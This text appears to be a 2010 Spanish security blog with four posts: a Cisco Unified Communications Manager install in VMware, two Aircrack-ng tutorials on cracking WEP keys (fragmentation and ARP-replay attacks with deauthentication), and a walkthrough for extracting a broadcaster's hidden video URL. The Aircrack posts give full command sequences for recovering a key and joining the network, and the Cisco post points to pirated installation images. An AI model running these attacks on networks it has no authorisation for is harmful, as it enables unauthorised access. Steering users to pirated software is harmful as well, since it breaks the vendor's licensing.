12 de noviembre de 2010

Cisco Unified Communications Manager virtualizado: Instalación

En esta entrada vamos a realizar la configuración de una centralita VoIP de Cisco. Cisco Unified Communications Manager es la solución propietaria diseñada por este grande de las telecomunicaciones para las nuevas redes telefónicas basadas en tecnología IP. La centralita, Call Manager (CCM para los amigos), se encuentra centralizada distribuyendose en las distintas sedes los equipos que integran las redes de datos y la de voz.


Deberemos de  instalar gateways (GWs) que nos integren la red telefónica con la red IP y podremos tener instalados conexiónes tradicionales tipo BRI, PRI o RTC; o realizar sesiones SIP, H323 o QSIG contra el servidor. Los GWs establecen sesiones MGCP contra la centralita registrando cada puerto, cada cierto tiempo, para comprobar la disponibilidad y controlar el dispositivo encargado de enrutar las llamadas. El tráfico de voz se encapsula utilizando RTP codificado con G711 o G729 (entre otros codecs) para lo que será necesario tener DSPs, hardware o software, al igual que para las conferencias, la musica en espera (MoH), etc.


En la configuración de los terminales podemos utilizar SIP para el uso de dispositivos genéricos o SCCP, en caso de tecnología Cisco, que integra mayor número de funcionalidades. Igualmente, los terminales se registraran con la centralita para comprobar su disponibilidad. En el caso que se pierda la conexión con la centralita, Cisco ha desarrollado el protocolo SRST para que todas las llamadas sean controladas por el GW, los terminales se registrarán contra él, encaminando las llamadas hacia la PSTN.


Inicialmente desarrollaremos la instalación del SO y saltaremos la configuración inicial para detallarla en próximas entradas...

Lo primero que debemos hacer es tener un disco de instalación. Éste lo deberemos comprar a algún distribuidor oficial de Cisco; o lo podremos descargar de Internet... En su día había una imagen ISO colgada en ThePirateBay pero con una simple búsqueda yo la he encontrado en servidores de descarga ;-).


Instalaré la centralita en mi, ya comentado anteriormente, lab particular: VMWare... Para ello creo una nueva máquina virtual y edito las opciones adecuandolo al equipo...


Una vez arranca el sistema, nos informa que estamos realizando la instalación bajo VMWare por lo que al no utilizar el hardware recomendado por el fabricante no tenemos soporte técnico.


Seleccionamos la solución a instalar, en nuestro caso: Cisco Unified Communications Manager


y acceptamos el aviso que nos muestra en la siguiente pantalla


En esta pantalla nos ofrece la posibilidad de realizar la configuración inicial antes de instalar el SO. Como anteriormente comenté, en esta entrada nos centraremos en la instalación y la configuración se detallará en siguientes entradas.


Una vez saltamos el proceso de configuración, comienza la instalación del SO: volcado de los archivos al disco, instalación del propio SO, paquetes adicionales...






Una vez terminada la instalación de los paquetes del sistema, el equipo se reinicia para cargar el programa de configuración


En próximas entradas detallaré la configuración inicial que nos solicita el instalador de nuestra centralita CUCM particular.

Un saludo, Brixton Cat.

10 de noviembre de 2010

Suite Aircrack-ng: Fragmentación

Continuando con la entrada anterior Suite Aircrack-ng, y aprovechando nuestra memoria USB cifrada, vamos a seguir describiendo las opciones que tenemos con dicha herramienta. Si recordamos un poco la entrada anterior, realizamos un ataque de reenvio de ARPs. Esto consiste en la injección de dichos paquetes una vez obtenedino un paquete ARP válido para capturar la cantidad de IVs suficientes para descifrar la clave estadístacamente.

Introduccion
Recordando un poco la teoría sobre el algoritmo WEP, debido a la cantidad de bits que componen los vectores de inicicación somos capaces de obtener la secuencia aleatoria de números generados a través de dicho IV y la clave compartida.


Dicha semilla (vector de iniciación) se utiliza junto con la clave compartida para generar el PRGA, a través de RC4, al cual se pasará XOR para cifrar el texto plano con la comprobación CRC32. Simplificando en la siguiente función cryptográfica:


El ataque de fragmentación consiste en localizar un paquete con un pedazo de la clave compartida y utilizarlo con la secuencia conocida de IVs para obtener los 1500 bits del PRGA enviando paquetes ARPs o LLCs fragmentados hasta completar el proceso. El keystream obtenido se guarda en un archivo .xor que podremos utilizar posteriormente.

Ataque Fragment:
Lo primero que debemos hacer es asegurarnos que el NIC wireless está reconocido por el sistema y crear la interfaz en modo monitor que utilizaremos durante el proceso.


Realizamos un escaneo para ver las redes que tenemos accesibles:

airodump-ng --encrypt wep -a mon0

explicación:
--encrypt wep. Filtramos por el tipo de cifrado
-a. Filtramos los clientes no asociados
mon0. Interfaz


Una vez seleccionada la red objetivo, nuevamente ejecutamos el comando aplicando los filtros con los que registrar el tráfico de dicha red. Esto lo conseguimos con:

airodump-ng -w out --bssid 00:13:F7:... -c 7 mon0

explicación:
-w out. Archivo de salida
--bssid 00:13:F7:... La dirección física del AP
-c 7. Canal que utiliza la red
mon0. Interfaz


Ahora pasamos a realizar una falsa autentificación con el comando:

aireplay-ng --fakeauth 10 -a 00:13:F7:... -h 00:11:22:33:44:55 mon0

explicación:
--fakeauth 10. Ataque de falsa asociación
-a 00:13:F7:.... BSSID del AP
-h 00:11:22:33:44:55. MAC del cliente
mon0. Interfaz

Podemos comprobar que el ataque es satisfactorio si aparece el smiley ":-)"


Realizamos el ataque de fragmentación:

aireplay-ng --fragment -b 00:13:F7:... -h 00:11:22:33:44:55 mon0

explicación:
--fragment. Ataque de fragmentación
-b 00:13:F7:.... Dirección MAC del AP
-h 00:11:22:33:44:55. Dirección física del cliente falso
mon0. Interfaz


Empezará a leer los paquetes en busca de un pedazo de clave para formar un paquete ARP o LLC que será fragmentado y enviado al AP hasta que consigamos el keystream de la conexión.


Si todo ha ido bien, dicho proceso nos generará un archivo xor que utilizaremos con packetforge-ng para crear el paquete ARP que injectaremos posteriormente utilizando el ataque ARP-Request.

packetforge-ng --arp -a 00:13:F7:... -h 00:11:22:33:44:55 -k 255.255.255.255. -l 255.255.255.255 -y fragment-1101-153100.xor -w salida

Explicación:
--arp. Tipo de paquete a formar
-a 00:13:F7:.... BSSID de la conexión
-h 00:11:22:33:44:55. Dirección MAC del cliente falso
-k 255.255.255.255. Dirección IP destino*
-l 255.255.255.255. Dirección IP origen*
-y fragment-1101-153100.xor. Paquete con el keystream
-w salida. Nombre del archivo de salida
* Utilizamos una dirección IP broadcast. Por defecto, Aireplay-ng utiliza dicha dirección, tanto origen como destino, en el caso que no sea especificada.


Y lo enviaremos al AP utilizando la replicación ARP con el comando:

aireplay-ng --arpreplay -r salida -x 600 -b 00:13:F7: -h 00:11:22:33:44:55 mon0

Explicación:
--arpreplay. Ataque replicación ARP
-r salida. Archivo de origen
-x 600. Número de paquetes a injectar
-b 00:13:F7:.... BSSID de la red
-h 00:11:22:33:44:55. MAC del cliente falso
mon0. Interfaz


Al final de la salida del comando podemos observar los paquetes que han sido leidos, la cantidad de paquetes ARPs y ACKs, los paquetes enviados y los paquetes por segundo (pps) que se injectan.

En la captura de Airodump podemos comprobar los paquetes que están siendo injectados, los paquetes con IVs capturados y el resto de datos tanto del AP como del cliente.


A los pocos minutos hemos capturado la cantidad suficiente de paquetes para obtener la clave casi sin pestañear....


En la captura anterior podemos observar varias cosas interesantes... El tiempo que ha tardado, las claves probadas, el número de IVs, la clave en hexadecimal y ASCII y el porcentaje de fiabilidad del proceso.

Ahora pasamos a comprobar que la contraseña obtenida es correcta y que tenemos conexión. Primero desactivamos el modo monitor de la tarjeta Wifi



Realizamos la configuración con los datos de la red y realizamos la petición DHCP al servidor



Por último actualizamos la lista de paquetes para comprobar que hay conexión con Internet.


Importante:
La información mostrada en este tutorial describe, a modo de información, técnicas actuales para poner en entredicho la seguridad de las conexiones Wireless. El autor no se hace responsable del uso que pueda darse a dicha información ni de las consecuencias que los lectores puedan provocar a terceras personas.

Enlaces de referencia:
http://www.aircrack-ng.org/doku.php?id=es:fragmentation
http://darkircop.org/bittau-wep.pdf

Un saludo, Brixton Cat.

Seguridad por oscuridad: Contenido Web

Quiero hacer una pequeña reflexión, bajo mi humano punto de vista, sobre un tema más que discutido actualmente por y para muchos fines: la seguridad por oscuridad. Podríamos comentar muchas cosas: desde las técnicas actuales con las que ocultar el código fuente, modificar ciertas configuraciones que por defecto sufren multitud de ataques automatizados, o al fin y al cabo aportar otra capa de seguridad a alguna solución que estemos implementando.

Yo soy de la opinión que no es eficiente dado que tarde o temprano, de una manera u otra, toda la mierda sale a la luz (perdón por hablar en plata). Es decir, que por mucho que intentes esconder algo, siempre habrá alguien que sepa como obtenerlo; por lo que esmerar tiempo, dinero y esfuerzos es, a corto-medio plazo, una opción desafortunada.

Para el desarrollo de esta entrada voy a centrarme en los vídeos que se cuelgan en las distintas páginas Web. Estos, en muchos casos, se intentan ocultar de los curiosos para que dichos vídeos sean originales de dichas Webs y no se puedan reproducir en otros medios; tipo: televisiones on-line, sitios de usuarios o páginas personales...

Saliendo del típico programa que, entre otras opciones, nos descarga nuestros archivos preferidos de servidores de dercarga, páginas Webs específicas para descargar desde cierto origen, crawlers varios con los que obtener todo el contenido.... Voy a desarrollar el método seguido para obtener la última emisión de la cadena autonómica extremeña, Canal Extremadura, aprovechando que amigos/conocidos aparecen en el mismo.

Hay que decir que en la demostración no se aportan datos técnicos de la programación de la web o de otros métodos que se utilizan en otras páginas... En más de una ocaisón me he encontrado un video interesante y no he conseguido descargarlo "manualmente"; al final, lo termino descargando de otra manera jeje ;-). A lo que íbamos...

Lo primero localizar la Web donde se presenta el vídeo


Y ver el código fuente (Ctrl+U en Firefox)


Buscamos en el código referencias a algo que tenga que ver con "vídeo", la opción "Buscar" (Ctrl+F) en Firefox es de gran ayuda...


En este caso, en el código JavaScript, vemos varias funciones interesantes:  crear_video, crear_video_hd... Si nos fijamos en dichas funciones, se establece la variable url en la que se puede presuponer encontraremos la dirección donde se encuentra localizado el vídeo.


Nos descargamos dicha URL en nuestro navegador


Lo primero que nos debería hacer sospechar es el poco tiempo que ha tardado en descargarse... :-(

Lo podemos comprobar mirando el tamaño del archivo descargado, incluso tratar de abrirlo con nuestro reproductor favorito.


Pero siempre intentaremos ir más alla.... Lo abrimos con un editor de texto, Notepad++ funciona de maravilla, y sorpresa!!! nos encontramos que es un archivo de configuración con la URL verdadera donde se almacena el vídeo. Se utiliza el mismo nombre del archivo junto con una variable que hace las veces de identificador.


Copiamos dicha dirección para descargarla. En mi caso, Jdownloader lo detecta y lo presenta para su descarga.


Se puede comprobar que en este caso el archivo a descargar sí tiene un tamaño adecuado al tiempo de duración y al formato que utiliza.


Al final podemos disfrutar del video cuando y como queramos, sin ser necesario tener conexión para poder verlo desde su página Web....

Un saludo, Brixton Cat.

4 de noviembre de 2010

Suite Aircrack-ng

En esta entrada voy a describir la mejor herramienta para auditorias Wireless actualmente conocida: la suite Aircrack-ng. Lo primero que hay que hacer siempre es informarse un poco sobre la tegnología y las posibilidades que se abren a nuestro camino con este tipo de herramienta. En este caso, vamos a realizar un pequeño estudio de la suite Aircrack-ng y de las posibilidades que esta nos ofrece ejecutando un pequeño ejemplo con el que demostrar la inseguridad de las redes Wifi actuales.

Introducción:
Wireless es la tegnología inalámbrica actualmente utilizada para crear redes locales no cableadas (Wireless LAN), utilizando para compenetrar las redes cableadas con las redes Wifi un Access Point que hará de pasarela entre una red y la otra. Para dotar de seguridad a dicha conexión, en 1999 nace WEP (Wired Equivalent Privacy) con el que cifrar dichas conexiónes a través del algoritmo RC4 y comprobando su integridad a través de un hash CRC32.


WEP implementa dos tipos de claves atendiendo a la cantidad de bits utilizados en cada una: WEP-40 y WEP-104; con los que generar claves de 64 bits y de 128 bits utilizandose un vector de iniciación de 24 bits. Dicho IV se utiliza para cifrar un mensaje a través de una operación XOR con la secuencia de números aleatorios generados por RC4 y debido al bajo número de bits que lo componen, el IV llega a repetirse siendo capaces de obtener el PRGA de dicha conexión.

Ataque ARP Replay:
En este caso, vamos a realizar un ataque de reenvio de ARP a un cliente asociado en el AP. Vamos a desauntentificar (para acelerar el proceso) al cliente conectado mientras estamos capturando el tráfico en busca de un paquete ARP. Una vez conseguimos dicho paquete, lo utilizaremos para enviar al AP peticiones ARP REQUEST que serán respondidos con el mismo ARP REPLY y un nuevo IV. Tras unos minutos, tenemos la cantidad suficiente de paquetes para desencryptar la clave.

Lo primero que tenemos que hacer es comprobar que nuestra tarjeta está reconocida por el sistema y la ponemos en modo monitor.


Y realizamos un escaneo de las redes que tenemos accesible con el comando

airodump-ng mon0


Seleccionamos la red objetivo y volvemos a lanzar el comando con los filtros siguientes para registrar todo el tráfico de dicha conexión:

airodump-ng -w out --bssid 00:03:C9:... -c 11 mon0

explicacion:
-w out. Nombre del archivo de salida
--bssid 00:03:C9:.... BSSID de la red wireless
-c 11. Canal de la conexión.
mon0. Interfaz


Ahora lanzamos el comando Aireplay-ng con el que ejecutar la reinyección de ARPs utilizando la MAC del cliente asociado hasta encontrar un paquete ARP que utilizaremos para la reinyección.

aireplay-ng --arpreplay -b 00:03:C9:... -h 00:1D:1A:... mon0

explicación:
--arpreplay. Ataque de replicación ARPs
-b 00:03:C9:.... Dirección física del AP
-h 00:1D:1A:.... Dirección MAC del cliente
mon0. Interfaz


Realizamos unos ataques de desautentificación al cliente que tenemos conectado para forzar su reconexión agilizando así el proceso para la obtención del paquete ARP.

aireplay-ng --deauth 5 -a 00:03:C9:... -c 00:1D:1A:... mon0

explicación:
--deauth 5. Ataque de desautentificación
-a 00:03:C9:.... Dirección física del AP
-c 00:1D:1A:.... Dirección MAC del clietne
mon0. Interfaz


En la captura anterior se observan que se han lanzado el comando varias veces con un total de 11 solicitudes de desasociación. Podemos comprobar en la captura de airodump, como aumentan los IVs capturados asi como de los paquetes que inyectamos al AP.


Podmos ver también en la captura anterior, que en cuatro minutos hemos conseguido más de 25.000 Datas que son más que suficientes para lanzar el craqueador con el comando:

aircrack-ng out-01.cap


Ahora pasamos a comprobar que la clave obtenida es la correcta. Para ello, primero desactivamos al interfaz monitor que hemos estado utilizando.


Configuramos la interfaz wireless con los comandos:


Realizamos la petición al servidor de direcciones


Y comprobamos que tenemos conexión con el AP aunque como se puede observar hay perdida de paquetes :(


Importante:
 El autor solamente trata de describir las actuales conexiones wireless y una herramienta, de las varias que existen, para auditar dichas redes. En cualquier caso, el autor proporciona esta información a título educativo y no se responsabiliza de las consecuencias que los lectores puedan ocasionar a terceras personas.

Un saludo, Brixton Cat.